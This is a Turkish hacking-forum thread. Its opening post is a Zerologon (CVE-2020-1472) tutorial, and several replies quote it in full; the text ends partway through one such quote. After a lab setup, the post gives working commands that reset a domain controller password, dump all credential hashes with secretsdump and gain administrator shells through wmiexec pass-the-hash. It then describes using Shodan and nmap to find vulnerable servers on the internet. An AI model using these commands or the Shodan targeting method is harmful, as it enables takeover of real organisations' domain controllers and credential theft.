Zerologon Zaafiyeti | Nedir? | Nasıl Heklenir? | Nasıl Test Ortamı Kurulur?

Enistein

Kıdemli Üye
16 Eyl 2012
2,222
1,230
Amsterdam
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.

PpUz4Fr.gif

IvwCnY9.png

Zerologon Nedir?
F3beZqk.png


Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.

LQeHxgS.png

Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.

Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.

Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
zlRmeju.png

(Görsel orjinal whitepaper'den alınmıştır.)

Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.

Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.

Test Ortamı Oluşturma
F3beZqk.png

Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.

Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.

Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan
bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen :)
Adım 2:

Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
MDIY6tE.png

n9W1oBb.png

Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
WjVWy43.png

Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
xfCjW3k.png

Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
6jU41ST.png

Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.

Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
nYqrnh0.png

Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
hh0oThs.png

Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.

Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!


Hedef Sistemde Zaafiyeti Kullanma
F3beZqk.png

Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile
sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
odHWgrk.png

Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.

Ardından,
-Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
GL45zWc.png

Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
HklCBtx.png


Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.

Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
pm8reVz.png

Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!


Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Bu7W7EV.png

Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için


Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
komutu ile wmiexec'i indirelim.
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Ardından
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
GvwFwI8.png

Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!


Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
F3beZqk.png

Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!

gvowAPY.png

Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!

Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
şeklinde taratmaktır!

Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz :)


Kapanış
F3beZqk.png

Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.

Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)

Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
 

deronn

Uzman üye
6 Şub 2023
1,085
547
Onun kalbi
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.

PpUz4Fr.gif

IvwCnY9.png

Zerologon Nedir?
F3beZqk.png


Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.

LQeHxgS.png

Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.

Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.

Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
zlRmeju.png

(Görsel orjinal whitepaper'den alınmıştır.)

Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.

Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.

Test Ortamı Oluşturma
F3beZqk.png

Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.

Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.

Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan
bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen :)
Adım 2:

Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
MDIY6tE.png

n9W1oBb.png

Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
WjVWy43.png

Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
xfCjW3k.png

Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
6jU41ST.png

Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.

Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
nYqrnh0.png

Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
hh0oThs.png

Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.

Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!


Hedef Sistemde Zaafiyeti Kullanma
F3beZqk.png

Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile
sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
odHWgrk.png

Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.

Ardından,
-Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
GL45zWc.png

Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
HklCBtx.png


Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.

Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
pm8reVz.png

Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!


Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Bu7W7EV.png

Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için


Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
komutu ile wmiexec'i indirelim.
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Ardından
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
GvwFwI8.png

Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!


Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
F3beZqk.png

Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!

gvowAPY.png

Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!

Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
şeklinde taratmaktır!

Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz :)


Kapanış
F3beZqk.png

Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.

Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)

Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
çok işime yarayacak hocam projeme katkı sağlayacak. eline sağlık
 

hoaydar

Ar-Ge Ekibi
18 Ocak 2023
492
420
/system32
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.

PpUz4Fr.gif

IvwCnY9.png

Zerologon Nedir?
F3beZqk.png


Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.

LQeHxgS.png

Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.

Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.

Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
zlRmeju.png

(Görsel orjinal whitepaper'den alınmıştır.)

Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.

Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.

Test Ortamı Oluşturma
F3beZqk.png

Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.

Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.

Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan
bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen :)
Adım 2:

Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
MDIY6tE.png

n9W1oBb.png

Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
WjVWy43.png

Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
xfCjW3k.png

Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
6jU41ST.png

Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.

Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
nYqrnh0.png

Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
hh0oThs.png

Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.

Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!


Hedef Sistemde Zaafiyeti Kullanma
F3beZqk.png

Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile
sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
odHWgrk.png

Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.

Ardından,
-Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
GL45zWc.png

Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
HklCBtx.png


Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.

Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
pm8reVz.png

Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!


Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Bu7W7EV.png

Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için


Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
komutu ile wmiexec'i indirelim.
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Ardından
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
GvwFwI8.png

Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!


Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
F3beZqk.png

Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!

gvowAPY.png

Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!

Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
şeklinde taratmaktır!

Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz :)


Kapanış
F3beZqk.png

Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.

Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)

Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
Elinize sağlık çok iyi olmuş
 

azx5

Üye
26 Ocak 2023
180
85
23
DPW
Bu açık için çoktan yama yayınlandı ama haladaha etkilenen sürümlerde makineler var cve skoru 9 oldukça tehlikeli eline sağlık
 

JohnWick51

Uzman üye
20 Mar 2022
1,867
770
28
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.

PpUz4Fr.gif

IvwCnY9.png

Zerologon Nedir?
F3beZqk.png


Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.

LQeHxgS.png

Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.

Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.

Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
zlRmeju.png

(Görsel orjinal whitepaper'den alınmıştır.)

Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.

Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.

Test Ortamı Oluşturma
F3beZqk.png

Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.

Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.

Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan
bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen :)
Adım 2:

Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
MDIY6tE.png

n9W1oBb.png

Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
WjVWy43.png

Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
xfCjW3k.png

Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
6jU41ST.png

Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.

Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
nYqrnh0.png

Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
hh0oThs.png

Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.

Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!


Hedef Sistemde Zaafiyeti Kullanma
F3beZqk.png

Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile
sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
odHWgrk.png

Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.

Ardından,
-Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
GL45zWc.png

Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
HklCBtx.png


Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.

Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
pm8reVz.png

Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!


Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
